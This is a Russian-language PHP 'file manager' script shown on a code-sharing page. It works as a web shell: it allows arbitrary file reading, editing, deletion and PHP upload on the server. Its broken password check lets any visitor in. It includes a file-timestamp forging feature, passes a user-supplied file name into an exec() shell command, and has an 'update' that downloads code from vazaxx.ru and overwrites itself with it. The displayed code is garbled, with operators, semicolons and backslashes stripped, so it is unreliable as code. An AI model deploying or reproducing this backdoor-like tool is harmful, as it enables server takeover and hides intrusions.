Вход Регистрация
Файл: ferma/mened.php
Строк: 725
<? 
if($_GET['exit']!='y'){ 
$pass_manager
"valera555"
/// В этой переменной лежит ваш пароль! 
$vrem_cookie=10800/// Время в секундах через сколько нужна повторная авторизация если менеджер не использовался! 
$man_pass=md5($pass_manager.'7'.$_SERVER['REMOTE_ADDR']); 
$time=time(); 
if(
$_COOKIE['man_pass']!=$man_pass){ 
if(
$_GET['log']==$pass_manager){ 
setcookie("man_pass",$man_pass,$time+$vrem_cookie); 
$open=1

} else {
setcookie("man_pass",$man_pass,$time+$vrem_cookie); $open=1;} 
} else {
setcookie("man_pass"); $open=0;} 
/////////////// 
if($open==1){ 
Error_reporting(1); 
//Error_Reporting(E_ALL & ~E_NOTICE); 
header('Content-type:text/html; charset=utf-8'); 
list(
$msec,$sec)=explode(chr(32),microtime()); 
$HeadTime=$sec+$msec
$ver_scripta='2.6.3'
$name_shat
""
/// В этой переменной лежит ваш ник! 
$phpmyadmin
""
/// В этой переменной лежит ссылка на ваш phpmyadmin! 
if(isset($_GET['system_man'])){
if(isset(
$_GET['ajax_1'])){
class 
qqUploadedFileXhr{
public function 
save($path){    
$input fopen("php://input""r");
$temp tmpfile();
$realSize stream_copy_to_stream($input$temp);
fclose($input);
if (
$realSize != $this->getSize()){            
return 
false;}
$target fopen($path"w");        
fseek($temp0SEEK_SET);
stream_copy_to_stream($temp$target);
fclose($target);
return 
true;}
public function 
getName(){return $_GET['qqfile'];}
public function 
getSize(){
if(isset(
$_SERVER["CONTENT_LENGTH"])){
return (int)
$_SERVER["CONTENT_LENGTH"];            
} else {throw new 
Exception('Getting content length is not supported.');}}}
class 
qqUploadedFileForm{
public function 
save($path){return move_uploaded_file($_FILES['qqfile']['tmp_name'], $path);}
public function 
getName(){return $_FILES['qqfile']['name'];}
public function 
getSize(){return $_FILES['qqfile']['size'];}}
class 
qqFileUploader{private $allowedExtensions; private $sizeLimit; private $file; private $uploadName;
function 
__construct(array $allowedExtensions null$sizeLimit null){
if(
$allowedExtensions===null){$allowedExtensions = array();}
if(
$sizeLimit===null){$sizeLimit $this->toBytes(ini_get('upload_max_filesize'));}
$allowedExtensions array_map("strtolower"$allowedExtensions);
$this->allowedExtensions $allowedExtensions;        
$this->sizeLimit $sizeLimit;
$this->checkServerSettings();
if(!isset(
$_SERVER['CONTENT_TYPE'])){$this->file false;} 
else if(
strpos(strtolower($_SERVER['CONTENT_TYPE']), 'multipart/') === 0){
$this->file = new qqUploadedFileForm();
} else {
$this->file = new qqUploadedFileXhr();}}
public function 
getUploadName(){if( isset( $this->uploadName ) )return $this->uploadName;}
public function 
getName(){if ($this->file)return $this->file->getName();}
private function 
checkServerSettings(){        
$postSize $this->toBytes(ini_get('post_max_size'));
$uploadSize $this->toBytes(ini_get('upload_max_filesize'));
if (!(
$postSize $this->sizeLimit || $uploadSize $this->sizeLimit)){
$size max(1$this->sizeLimit 1024 1024) . 'M';             
die(
json_encode(array('error'=>'increase post_max_size and upload_max_filesize to ' $size)));}}
private function 
toBytes($str){
$val trim($str);
$last strtolower($str[strlen($str)-1]);
switch(
$last){case 'g'$val *= 1024; case 'm'$val *= 1024; case 'k'$val *= 1024;}return $val;}
function 
handleUpload($uploadDirectory$replaceOldFile FALSE){
if (!
is_writable($uploadDirectory)){return array('error' => "Server error. Upload directory isn't writable.");}
if (!
$this->file){return array('error' => 'No files were uploaded.');}
$size $this->file->getSize();
if (
$size == 0){return array('error' => 'File is empty');}
if (
$size $this->sizeLimit){return array('error' => 'File is too large');}
$pathinfo pathinfo($this->file->getName());
$filename $pathinfo['filename'];
$ext = @$pathinfo['extension'];
if(
$this->allowedExtensions && !in_array(strtolower($ext), $this->allowedExtensions)){
$these implode(', '$this->allowedExtensions);
return array(
'error' => 'File has an invalid extension, it should be one of '$these '.');}
$ext = ($ext == '') ? $ext '.' $ext;
if(!
$replaceOldFile){while (file_exists($uploadDirectory DIRECTORY_SEPARATOR $filename $ext)){$filename .= rand(1099);}}
$this->uploadName $filename $ext;
if(
$this->file->save($uploadDirectory DIRECTORY_SEPARATOR $filename $ext)){return array('success'=>true);
} else {return array(
'error'=> 'Could not save uploaded file.'.'The upload was cancelled, or server error encountered');}}}
$allowedExtensions = array("php""html""htm""mp3""png""ico""jpeg""jpg""gif""css""js""sql""zip""rar""txt""htaccess");
$sizeLimit 50 1024 1024;
$uploader = new qqFileUploader($allowedExtensions$sizeLimit);
$result $uploader->handleUpload("".$_GET['upload_dir']."");
echo 
htmlspecialchars(json_encode($result), ENT_NOQUOTES);}
exit;}
// функция изменения времени модификации файла 
function changetime($FileName$Fmtime){ 
if(@
strtotime($Fmtime)==''){return "<br/>Время не корректное!<br/>";} else {$mtime strtotime($Fmtime);} 
if (@
exec("touch {$FileName}")){$exec=1;
} else {if (@
touch ($FileName$mtime)){ 
$msg "<b>Время последней модификации файла:</b>: ".(date("d.m.Y H:i:s"filemtime($FileName)))."<br/><b>Время последнего доступа к файлу:</b> ".(date("d.m.Y H:i:s"fileatime($FileName)))."<br/><b>Время создания файла:</b>: ".(date("d.m.Y H:i:s"filectime($FileName)));}}
if(
$exec==1){return "Время изменено из командной строки<br/>";}
elseif(
$msg){return "Время изменено средствами РНР<br/>$msg";}
else {return 
"Не удалось изменить время последней модификации файла <b>$FileName</b><br/>";}} 
// end 
if(empty($_GET['zip']) and empty($_GET['download']) & empty($_GET['img'])){ 
echo
'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> 
<html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"> 
<title>Файловый Менеджер</title> 
<link rel="shortcut icon" href="https://lh5.googleusercontent.com/-yrjsbjXkGT8/UZp6WfES0QI/AAAAAAAAAJk/L2B4Cqc9fjE/s128-no/manager.png" type="image/png"> 
<style type="text/css"> 
body{margin: 0 auto;max-width:800px;font-family: verdana;font-size: 11px;color: #ACADAD;background-color:#ACADAD; 
background-attachment: fixed; background-image: url(https://lh3.googleusercontent.com/-_hhdyIXVm_I/UQLWE-Ad0XI/AAAAAAAAACw/XE86JOO4R0w/d/www5.jpg);} 
a{color: #B6FF48;text-decoration:none;} 
a:hover{color: yellow;text-decoration: underline;} 
table.v{padding: 0px;margin: 0px;border: 0px #B6FF48;background-color: #333933;} 
td.v{    border: 0px solid #B6FF48;    font-family: verdana, geneva, lucida, arial;background-color: #333;    color: #B4B4B4;text-decoration: none;font-size: 11px;
font-weight: bold;width:100%;padding-left: 2px;    padding-right: 2px;    padding-top: 1px;padding-bottom: 2px;text-align: left;} 
input,textarea{font: normal 11px verdana, geneva, lucida, arial, helvetica, sans-serif;color: #B4B4B4;background-color: #333333;border-color: #424242; 
border-left: 1px solid #0A0A0A;border-top: 1px solid #0A0A0A;border-right: 1px solid #2C2C2C;border-bottom: 1px solid #2C2C2C;} 
input:hover, textarea:hover, button:hover{border-color: #B6FF48;} 
input:focus, textarea:focus, button:focus{border-color: #B6FF48;} 
submit, button{font: normal 11px verdana, geneva, lucida, arial, helvetica, sans-serif;color: #B4B4B4;background-color: #333333;border-color: #424242; 
border-left: 1px solid #0A0A0A;border-top: 1px solid #0A0A0A;border-right: 1px solid #2C2C2C;border-bottom: 1px solid #2C2C2C;font-weight: bold;} 
submit:hover{border-color: #11A3EA;color: #11A3EA;} 
submit:focus{border-color: #11A3EA;color: #ffffff;} 
.block{border:1px solid #191919;border-radius:3px;margin:2px 0;padding:4px; 
background-color:#1A1A1A; background-image: url(https://lh5.googleusercontent.com/-wAQLAp7nM8w/UZnlJL8TNyI/AAAAAAAAAJE/4i9PEVrgqWk/w180-h134-no/background.png);} 
.layer{width: 800px;white-space: normal;} 
da{color:#4EB6FB;} 
net{color:#F87342;} 
</style> 
</head><body><div class="layer"><div class="block">'
;} 
///////////////////////////////// 
//////////Файл менеджер////////// 
///////////////////////////////// 
if(empty($_GET['del_dir']) & empty($_GET['del_file']) & (!isset($_GET['center'])) & (!isset($_GET['sys_nas'])) & empty($_GET['r']) & empty($_GET['input']) & empty($_GET['ren']) & empty($_GET['setchmod']) & empty($_GET['download']) & empty($_GET['up']) & empty($_GET['upload']) & empty($_GET['chmod']) & empty($_GET['rename']) & empty($_GET['rmdir']) & empty($_GET['made']) & empty($_GET['madedir']) & empty($_GET['create']) & empty($_GET['createdir']) & empty($_GET['del']) & empty($_GET['deldir']) & empty($_GET['f']) & empty($_GET['edit']) & empty($_GET['zip'])& empty($_GET['img']) & empty($_GET['touchfile']) & empty($_GET['touch'])){ 
echo
'<b>Файл менеджер</b> | <a href="'.$phpmyadmin.'" target="_blank"><font color="#FFF7B2">phpMyAdmin</font></a> | <a href="?center"><font color="#FFF7B2">Центр</font></a> | <a href="?sys_nas"><font color="#FFF7B2">Настройки</font></a> | <a href="?exit=y"><font color="#FFF7B2">Выход</a></font><hr>'
if(empty(
$_GET['d'])){$d="./";} 
else{
$d=$_GET['d'];} 
if(
$d=="./"){$vverh='.'.$d;} 
if(
$d!=="./"){$vverh=$d.'../';} 
echo
'<a href="?d='.$vverh.'">[..] вверх</a><br> 
&nbsp;<a href="?create='
.$d.'">Создать файл </a><br> 
&nbsp;<a href="?createdir='
.$d.'">Создать папку</a><br> 
&nbsp;<a href="?up='
.$d.'">Загрузить файл</a><br><br>'
echo 
'<b>Папки:</b><table class=v>'
$dir opendir($d); 
while(
$file readdir($dir)){ 
if(
is_dir($d.'/'.$file)){ 
if(
$file != "." && $file != ".."){ 
$mod=substr(sprintf("%o",fileperms($d.'/'.$file)),-3); 
echo
'<tr><td class=v width="400"><img width="16" height="16" align="absmiddle" src="https://lh5.googleusercontent.com/-v1tdh30dg-g/UZngwk3wm5I/AAAAAAAAAFs/JKx-XwoGONQ/s32-no/folder.png" alt=""> <a href="?d='.$d.$file.'/"><font color="#FFF7B2">'.$file.'</font></a></td><td class=v> DIR </td><td class=v>'.(date("d.m.Y/H:i:s"filemtime($d))).'</td><td class=v>'.$mod.'</td><td class=v><a href="?zip='.$d.$file.'/">[zip]</a></td><td class=v><a href="?del_dir='.$d.$file.'/"><font color="#D33132">[удал.]</font></a></td><td class=v><a href="?ren='.$d.$file.'/">[переимен.]</a></td><td class=v><a href="?chmod='.$d.$file.'/">[chmod]</a></td></tr>';}}} 
echo
'</table><br/><b>Файлы:</b><table class=v>'
$dir opendir($d); 
while(
$file readdir($dir)){ 
if(
is_file($d.'/'.$file)){ 
$mod=substr(sprintf("%o",fileperms($d.'/'.$file)),-3); 
$info pathinfo($file); 
echo
'<tr><td class=v width="350"><img width="16" height="16" align="absmiddle" src="https://lh3.googleusercontent.com/-NR-kUbCJ0DI/UZnjtdR-XLI/AAAAAAAAAIc/0-q-19z-rek/s48-no/file.png" alt=""> <a href="?r='.$d.$file.'"><font color="#FFF7B2">'.$info['filename'].'</font>.<font color="#DB800A">'.$info['extension'].'</font></a></td><td class=v>'.(date("d.m.Y"filemtime($d.$file))).'</td><td class=v>'; echo round(filesize("$d/$file")/1024,1); echo'&nbsp;КБ</td><td class=v>'.$mod.'</td><td class=v><a href="?f='.$d.$file.'">[ред.]</a></td><td class=v><a href="?del_file='.$d.$file.'"><font color="#D33132">[удал.]</font></a></td><td class=v><a href="?ren='.$d.$file.'">[переимен.]</a></td><td class=v><a href="?chmod='.$d.$file.'">[chmod]</a></td><td class=v><a href="?download='.$d.$file.'">[скачать]</a></td><td class=v><a href="?touchfile='.$d.$file.'">[дата]</a></td></tr>';}} 
echo
'</table>';} 
///////////////////////////////// 
/////////Переименование////////// 
///////////////////////////////// 
if(isset($_GET['ren'])){ 
echo
'<b>Переименование</b><hr>'
if(isset(
$_GET['rename'])){ 
$name rename($_GET['rename'],$_POST['new_name']); 
if(
$name){echo'<da>Переименовано!</da><br>';} 
if(!
$name){echo'<net>Ошибка переименования!</net><br>';}} 
echo
'<form action="?ren='.$_GET['ren'].'&rename='.$_GET['ren'].'" method="post"> 
<input name="new_name" value="'
.$_GET['ren'].'"><br> 
<input type="submit" value="Переименовать!"><br>'
;} 
///////////////////////////////// 
/////////Аплоад файлов/////////// 
///////////////////////////////// 
if(isset($_GET['up'])){ 
echo
'<b>Загрузка файлов</b><hr>'
if(isset(
$_POST['upload'])){ 
$new_name=trim($_POST['new_name']); 
if(
$_POST['new_name']==''){$new_name=$_FILES["file"]["name"];} 
if(
copy($_FILES["file"]["tmp_name"], $_POST['upload'].$new_name)){ 
echo 
'<da>Файл успешно загружен!</da><br>';} else {echo '<net>Загрузка файла не удалась!</net><br>';} 
echo 
'<br>';} 
echo
'<form method="post" enctype="multipart/form-data" style="display:inline"> 
<input type="hidden" name="upload" value="'
.$_GET['up'].'"> 
<input type="file" name="file"><br> 
Сохранить как: (не обязательно)<br><input type="text" name="new_name" value="">
<input type="submit" value="Загрузить"></form><hr>
<link rel="stylesheet" href="http://vazaxx.ru/manager/files_images/fileuploader.css"><script src="http://vazaxx.ru/manager/files_images/jquery-1.7.2.js"></script><script src="http://vazaxx.ru/manager/files_images/fileuploader.js"></script>
<script>
window.onload = function(){var uploader = new qq.FileUploader({autoUpload: false,element: document.getElementById("file-uploader"),action: "?system_man&ajax_1&upload_dir='
.$_GET['up'].'"});
$( "#startUpload" ).on( "click", function(){uploader.uploadStoredFiles();} );};
</script>
<div id="file-uploader"><noscript><p>Please enable JavaScript to use file uploader.</p></noscript></div><button id="startUpload">Загрузить</button><hr>
'
;} 
///////////////////////////////// 
////////////Download///////////// 
///////////////////////////////// 
if(isset($_GET['download'])){ 
$file file_get_contents($_GET['download']); 
$name explode("/",$_GET['download']); 
$name $name[count($name)-1]; 
header('Content-type: text/plain'); 
header("Content-disposition: attachment; filename=$name"); 
echo 
$file;} 
///////////////////////////////// 
/////////////Время модиф////////////// 
///////////////////////////////// 
if(isset($_GET['touchfile'])){ 
echo
'<b>Изменение времени модификации '.$_GET['touchfile'].'</b><hr>'
if(isset(
$_GET['touch'])){echo changetime($_GET['touch'], $_POST['mtime']).'<br>';} 
echo
'<form action="?touchfile='.$_GET['touchfile'].'&touch='.$_GET['touchfile'].'" method="post"> 
<input name="mtime" value="'
.(date("d.m.Y H:i:s"filemtime($_GET['touchfile']))).'"><br> 
<input type="submit" value="Изменить время!"><br>'
;} 
///////////////////////////////// 
/////////////Chmods////////////// 
///////////////////////////////// 
if(isset($_GET['chmod'])){ 
echo
'<b>Chmods</b><hr>'
if(isset(
$_GET['setchmod'])){ 
if(
chmod($_GET['setchmod'],octdec($_POST['chmods']))){echo'<da>Chmod '.$_POST['chmods'].' заданы!</da><br>';} 
else {echo
'<net>Ошибка задавания chmod '.$_POST['chmods'].'!</net><br>';}} 
$mod=substr(sprintf("%o",fileperms($_GET['chmod'])),-3); 
echo
'<form action="?chmod='.$_GET['chmod'].'&setchmod='.$_GET['chmod'].'" method="post"> 
<input name="chmods" value="'
.$mod.'"><br> 
<input type="submit" value="Задать chmod!"><br>'
;} 
///////////////////////////////// 
///////Удаление директории/////// 
///////////////////////////////// 
if(isset($_GET['rmdir'])){ 
echo
'<b>Удаление директории</b><hr>'
$dir opendir($_GET['rmdir']); 
while(
$dirs readdir($dir)){ 
if(
is_dir($_GET['rmdir'].$dirs)){ 
if(
$dirs != "." && $dirs != ".."){ 
$poddir rmdir($_GET['rmdir'].$dirs);}}} 
closedir($dir); 
$ddir rmdir($_GET['rmdir']); 
if(
$ddir){echo'<da>Директория удалена!</da><br>';} 
if(!
$ddir){echo'<net>Ошибка удаления!</net><br>';} 
if(
$poddir){echo'<da>Поддиректории удалены!</da><br>';} 
if(!
$poddir){echo'<net>Поддиректории не существуют или ошибка удаления!</net><br>';}} 
///////////////////////////////// 
////////Настройки//////////// 
///////////////////////////////// 
if(isset($_GET['sys_nas'])){ 
echo
'<b>Настройки</b><hr>'
$file_array file("".basename($_SERVER['SCRIPT_NAME']).""); 
///////////////// 
if((isset($_POST['sys_pass_ok']))&&($_POST['sys_pass']!='')){ 
$sys_dlin=strlen($_POST['sys_pass']); 
if((!
preg_match('#[^sda-z]#is'$_POST['sys_pass']))&&($sys_dlin<=15)&&($sys_dlin>=5)){ 
$file_array['3']='"'.$_POST['sys_pass'].'"'."n"
$fp fopen("".basename($_SERVER['SCRIPT_NAME'])."""w"); 
if(
fputs($fpimplode(""$file_array))){ 
$man_pass=md5($_POST['sys_pass'].'7'.$_SERVER['REMOTE_ADDR']); 
setcookie("man_pass",$man_pass,$time+$vrem_cookie); 
echo
'<da>Пароль успешно изменён!</da><br>';}else{echo'<net>Ошибка при изменении пароля.</net><br>';} 
fclose($fp);}else{echo'<net>Пароль может содержать только символы Английского алфовита и Цифры,<br>и иметь длину не мение 5-ти и не более 15-ти символов.</net><br>';}} 
///////////////// 
if((isset($_POST['sys_shat_ok']))&&($_POST['sys_shat']!='')){ 
$sys_dlin=strlen($_POST['sys_shat']); 
if((!
preg_match('#[^sda-z]#is'$_POST['sys_shat']))&&($sys_dlin<=12)&&($sys_dlin>=3)){ 
$file_array['24']='"'.$_POST['sys_shat'].'"'."n"
$fp fopen("".basename($_SERVER['SCRIPT_NAME'])."""w"); 
if(
fputs($fpimplode(""$file_array))){ 
echo
'<da>Чат Ник успешно изменён!</da><br>';}else{echo'<net>Ошибка при изменении Чат Ника.</net><br>';} 
fclose($fp);}else{echo'<net>Чат Ник может содержать только символы Английского алфовита и Цифры,<br>и иметь длину не мение 3-х и не более 12-ти символов.</net><br>';}} 
///////////////// 
if(isset($_POST['sys_bd_ok'])){ 
$file_array['27']='"'.$_POST['sys_bd'].'"'."n"
$fp fopen("".basename($_SERVER['SCRIPT_NAME'])."""w"); 
if(
fputs($fpimplode(""$file_array))){ 
echo
'<da>Ссылка на БД успешно изменена!</da><br>';}else{echo'<net>Ошибка при изменении ссылки на БД.</net><br>';} 
fclose($fp);} 
///////////////// 
if($_POST['update']=='ok'){ 
$url="http://vazaxx.ru/manager/update/new_update.txt"
$headers = @get_headers($url); 
if(
preg_match("|200|"$headers[0])){ 
$update=file($url); 
$update['3']='"'.$pass_manager.'"'."n"
$update['24']='"'.$name_shat.'"'."n"
$update['27']='"'.$phpmyadmin.'"'."n"
$url_v='.'.$_SERVER['PHP_SELF']; 
$update_v=fopen($url_v,"w"); 
fputs($update_vimplode("",$update)); 
fclose($update_v); 
if(
$update_v){echo'<da>Обновление успешно завершено!<br><small>(Данные настройки не изменились.)</small></da><br>';} 
if(!
$update_v){echo'<net>Ошибка обновления.</net><br>';}} else {echo'<net>Обновлений нет.</net><br>';}} 
///////////////// 
echo"<font color='#4BB449'>Пароль:</font> <form method='POST' action=?sys_nas style='display:inline'><input type='text' name='sys_pass' value=".$file_array['3']."><input type='submit' name='sys_pass_ok' value='Сохранить'></form><br>"
echo
"<font color='#4BB449'>Ссылка БД:</font> <form method='POST' action=?sys_nas style='display:inline'><input type='text' name='sys_bd' value=".$file_array['27']."><input type='submit' name='sys_bd_ok' value='Сохранить'></form><br>"
echo
"<font color='#4BB449'>Чат Ник:</font> <form method='POST' action=?sys_nas style='display:inline'><input type='text' name='sys_shat' value=".$file_array['24']."><input type='submit' name='sys_shat_ok' value='Сохранить'></form><br>"
echo
"<font color='#4BB449'>Обновление:</font> версия: ".$ver_scripta." <form action=?sys_nas method='POST' style='display:inline'><input type='hidden' name='update' value='ok'><input type='submit' value='Обновить'></form>"
echo
'<br>';} 
///////////////////////////////// 
////////Подтверждение//////////// 
///////////////////////////////// 
if((isset($_GET['del_dir']))||(isset($_GET['del_file']))){ 
echo
'<b>Подтверждение</b><hr>'
if(isset(
$_GET['del_dir'])){$del_stat='папку '.$_GET['del_dir']; $del_tip='?deldir='.$_GET['del_dir'].'';} 
if(isset(
$_GET['del_file'])){$del_stat='файл '.$_GET['del_file']; $del_tip='?del='.$_GET['del_file'].'';} 
echo
'Вы уверены что хотите удалить '.$del_stat.' ?<br>'
echo
'&nbsp;<img width="14" height="14" align="absmiddle" src="https://lh5.googleusercontent.com/-F3MMWezuScQ/UZv4Wyzl9lI/AAAAAAAAAKI/qNdprMmPa0s/s16-no/confirm.png"> <a href="'.$del_tip.'">Да, подтверждаю</a><br>'
echo
'&nbsp;<img width="14" height="14" align="absmiddle" src="https://lh3.googleusercontent.com/-Uyd4NGThGCs/UZv4W1iV-DI/AAAAAAAAAKM/2uLz3NaHHyk/s16-no/refuse.png"> <a href="?d=">Нет, отказываюсь</a><br>';} 
///////////////////////////////// 
//////////Чтение файла/////////// 
///////////////////////////////// 
if(isset($_GET['r'])) 

echo
'<b>Чтение файла</b> &nbsp;(<a href="'.$_GET['r'].'" target="_blank">'.$_GET['r'].'</a>) (<a href="?f='.$_GET['r'].'">Ред.</a>)<hr>'
$info pathinfo($_GET['r']); 
if((
$info['extension']=='jpeg')||($info['extension']=='jpg')||($info['extension']=='jpe')||($info['extension']=='gif')||($info['extension']=='png')||($info['extension']=='ico')){ 
$kartinka_sys getimagesize($_GET['r']); 
$razmer=850/// Средний максимальный размер изображения 
if(($kartinka_sys['0']<=$razmer)||($kartinka_sys['0']<=$razmer)){$wi_sys=$kartinka_sys['0']; $hi_sys=$kartinka_sys['1'];} else { 
if(
$kartinka_sys['0']>=$kartinka_sys['1']){ 
$rash_sys=$kartinka_sys['0']; 
} else { 
$rash_sys=$kartinka_sys['1']; 

$pro_sys=100
$dil_sys=$razmer/$rash_sys
$wi_sys=$dil_sys*$pro_sys.'%'
$hi_sys=$wi_sys

echo 
"<img width='".$wi_sys."' height='".$hi_sys."' src='".$_GET['r']."' alt='o'>"
} else { 
$file=file($_GET['r']); 
if(
function_exists('iconv')) 
{echo 
'<small>'
$filegc=file_get_contents($_GET['r']); 
if(!empty(
$filegc)){
if(
function_exists('mb_check_encoding')){
if(!
mb_check_encoding ($filegc'UTF-8')){
for(
$i=0$i<count($file); $i++){
echo 
$file[$i] = htmlspecialchars(iconv("Windows-1251""UTF-8"$file[$i])).'<br/>';}
} else {
for(
$i=0$i<count($file); $i++){
echo 
htmlspecialchars($file[$i]).'<br/>';}}}} 
echo 
'</small>'
} else { 
echo 
"utf: "
if(
$file){ 
echo 
'<small>'
for(
$i=0$i<count($file); $i++){ 
$file[$i] = htmlspecialchars($file[$i]); 
echo 
''.$file[$i].'<br>';} 
echo 
'</small>';} 
if(!
$file){echo'Ошибка чтения файла!';}}}
echo 
'<hr>';} 
///////////////////////////////// 
/////////Удаление файла////////// 
///////////////////////////////// 
if(isset($_GET['del'])){ 
echo
'<b>Удаление файла</b><hr>'
$delete unlink($_GET['del']); 
if(
$delete){print '<da>Файл <b>'.$_GET['del'].'</b> удален!</da><br>';} 
if(!
$delete){print '<net>Ошибка удаления файла <b>'.$_GET['del'].'</b>!</net><br>';}} 
///////////////////////////////// 
//Удаление файлов из каталогов/// 
///////////////////////////////// 
if(isset($_GET['deldir'])){ 
echo
'<b>Удаление файлов из каталогов</b><hr>'
$dir opendir($_GET['deldir']); 
while(
$files readdir($dir)){ 
if(
is_file($_GET['deldir'].$files)){ 
$del unlink($_GET['deldir'].$files);} 
if(
is_dir($_GET['deldir'].$files) && $files !="." && $files !=".."){ 
$odir opendir($_GET['deldir'].$files); 
while(
$reddir readdir($odir)){ 
if(
is_file($_GET['deldir'].$files.'/'.$reddir)){ 
$delet unlink($_GET['deldir'].$files.'/'.$reddir);}}}} 
if(
$del){print '<da>Файлы из директории <b>'.$_GET['deldir'].'</b> удалены!</da><br>';} 
if(!
$del){print '<net>Ошибка удаления файлов из из директории <b>'.$_GET['deldir'].'</b>!</net><br>';} 
if(
$delet){print'<da>Файлы из подкаталогов в директории <b>'.$_GET['deldir'].'</b> удалены!</da><br>';} 
if(!
$delet){print'<net>Ошибка удаления Файлов из подкаталогов в директории <b>'.$_GET['deldir'].'</b>!</net><br>';} 
header("Location:?rmdir=".$_GET['deldir']."");} 
///////////////////////////////// 
//////Редактирование файла/////// 
///////////////////////////////// 
if(isset($_GET['f'])){ 
echo
'<b>Редактирование файла</b> &nbsp;(<a href="'.$_GET['f'].'" target="_blank">'.$_GET['f'].'</a>)<hr>'
if(isset(
$_GET['edit'])){ 
$fp fopen($_GET['edit'],"w"); 
fputs($fp,$_POST['text']); 
fclose($fp); 
if(!empty(
$_POST['mt'])){ 
if(@
touch ($_GET['edit'], $_POST['mt'])){$msg '<da><small>(дата файла не изменилась)</small></da><br>';} 
} else {
$msg '<da><small>(дата файла изменилась, пробуйте использовать кнопку [дата])</small></da><br>';}
if(
$fp){echo'<da>Файл отредактирован!</da><br>'.$msg;} 
if(!
$fp){echo'<net>Ошибка записи файла!</net><br>';} 
echo
'<br>';} 
$file file_get_contents($_GET['f']); 
if(
function_exists('mb_check_encoding')){ 
if(!
mb_check_encoding ($file'UTF-8')){ 
$file htmlspecialchars(iconv("Windows-1251""UTF-8"$file));
} else {
$file htmlspecialchars($file);}
} else {
$file htmlspecialchars($file);}
echo
'<form action="?edit='.$_GET['f'].'&f='.$_GET['f'].'" method="post"> 
<textarea cols="121" rows="30" name="text">'
.$file.'</textarea><br> 
<input type="hidden" value="'
.(filemtime($_GET['f'])).'" name="mt"> 
<input type="submit" value="Сохранить изменения!"><br>'
;} 
///////////////////////////////// 
/////////Создание файла////////// 
///////////////////////////////// 
if(isset($_GET['create'])){ 
echo
'<b>Создание файла</b><hr>'
if(isset(
$_GET['made'])){ 
$fp fopen($_GET['made'].$_POST['new_name'],"w"); 
fputs($fp,$_POST['new_file']); 
fclose($fp); 
chmod($_GET['made'].$_POST['new_name'], 0644); 
if(
$fp){echo'<da>Файл создан!</da><br>';} 
if(!
$fp){echo'<net>Ошибка создания файла!</net><br>';}} 
echo
'<form action="?create='.$_GET['create'].'&made='.$_GET['create'].'" method="post"> 
Имя файла: <input name="new_name" size="20"><br> 
<textarea cols="60" rows="7" name="new_file"><?php '
.("rnrn").' ?></textarea><br> 
<input type="submit" value="Создать!"><br>'
;} 
///////////////////////////////// 
/////////Создание папки////////// 
///////////////////////////////// 
if(isset($_GET['createdir'])){ 
echo
'<b>Создание папки</b><hr>'
if(isset(
$_GET['madedir'])){if(mkdir($_GET['madedir'].$_POST['new_dirname'],0755)){echo'<da>Папка создана!</da><br>';} else {echo'<net>Ошибка создания папки!</net><br>';}} 
echo
'<form action="?createdir='.$_GET['createdir'].'&madedir='.$_GET['createdir'].'" method="post"> 
Имя папки: <input name="new_dirname" size="20"><br> 
<input type="submit" value="Создать!"><br>'
;} 
///////////////////////////////// 
//////////////Чат//////////////// 
///////////////////////////////// 
if(isset($_GET['center'])){ 
echo
'<b>Центр</b><hr>'
echo
'<iframe src="http://vazaxx.ru/manager/center.php?user='.$name_shat.'" frameborder="no" width="790" height="600" seamless>У вас не отображается iframe.</iframe>';} 
///////////////////////////////// 
//////////Зипирование//////////// 
///////////////////////////////// 
if(isset($_GET['zip'])){ 
class 
zipfile{
var 
$datasec = array(); 
var 
$ctrl_dir = array(); 
var 
$eof_ctrl_dir "x50x4bx05x06x00x00x00x00"
var 
$old_offset 0
function 
add_dir($name){ 
$name str_replace("\", "/", $name);
$fr = "x50x4bx03x04"; 
$fr .= "x0ax00"; 
$fr .= "x00x00"; 
$fr .= "x00x00"; 
$fr .= "x00x00x00x00"; 
$fr .= pack("V",0); 
$fr .= pack("V",0); 
$fr .= pack("V",0); 
$fr .= pack("v", strlen($name) ); 
$fr .= pack("v", 0 ); 
$fr .= $name
$fr .= pack("V",$crc); 
$fr .= pack("V",$c_len); 
$fr .= pack("V",$unc_len); 
$this -> datasec[] = $fr
$new_offset = strlen(implode("", $this->datasec)); 
$cdrec = "x50x4bx01x02"; 
$cdrec .="x00x00"; 
$cdrec .="x0ax00"; 
$cdrec .="x00x00"; 
$cdrec .="x00x00"; 
$cdrec .="x00x00x00x00"; 
$cdrec .= pack("V",0); 
$cdrec .= pack("V",0); 
$cdrec .= pack("V",0); 
$cdrec .= pack("v", strlen($name) ); 
$cdrec .= pack("v", 0 ); 
$cdrec .= pack("v", 0 ); 
$cdrec .= pack("v", 0 ); 
$cdrec .= pack("v", 0 ); 
$ext = "x00x00x10x00"; 
$ext = "xffxffxffxff"; 
$cdrec .= pack("V", 16 ); 
$cdrec .= pack("V", $this -> old_offset ); 
$this -> old_offset = $new_offset
$cdrec .= $name
$this -> ctrl_dir[] = $cdrec
}
function add_file(
$data$name){
$name = str_replace("\", "/", $name); 
$fr = "x50x4bx03x04"; 
$fr .= "x14x00"; 
$fr .= "x00x00"; 
$fr .= "x08x00"; 
$fr .= "x00x00x00x00"; 
$unc_len = strlen($data); 
$crc = crc32($data); 
$zdata = gzcompress($data); 
$zdata = substr( substr($zdata, 0, strlen($zdata) - 4), 2); 
$c_len = strlen($zdata); 
$fr .= pack("V",$crc); 
$fr .= pack("V",$c_len); 
$fr .= pack("V",$unc_len); 
$fr .= pack("v", strlen($name) ); 
$fr .= pack("v", 0 ); 
$fr .= $name
$fr .= $zdata
$fr .= pack("V",$crc); 
$fr .= pack("V",$c_len); 
$fr .= pack("V",$unc_len); 
$this -> datasec[] = $fr
$new_offset = strlen(implode("", $this->datasec)); 
$cdrec = "x50x4bx01x02"; 
$cdrec .="x00x00"; 
$cdrec .="x14x00"; 
$cdrec .="x00x00"; 
$cdrec .="x08x00"; 
$cdrec .="x00x00x00x00"; 
$cdrec .= pack("V",$crc); 
$cdrec .= pack("V",$c_len); 
$cdrec .= pack("V",$unc_len); 
$cdrec .= pack("v", strlen($name) ); 
$cdrec .= pack("v", 0 ); 
$cdrec .= pack("v", 0 ); 
$cdrec .= pack("v", 0 ); 
$cdrec .= pack("v", 0 ); 
$cdrec .= pack("V", 32 ); 
$cdrec .= pack("V", $this -> old_offset ); 
$this -> old_offset = $new_offset
$cdrec .= $name
$this -> ctrl_dir[] = $cdrec;

function file(){ 
$data = implode("", $this -> datasec); 
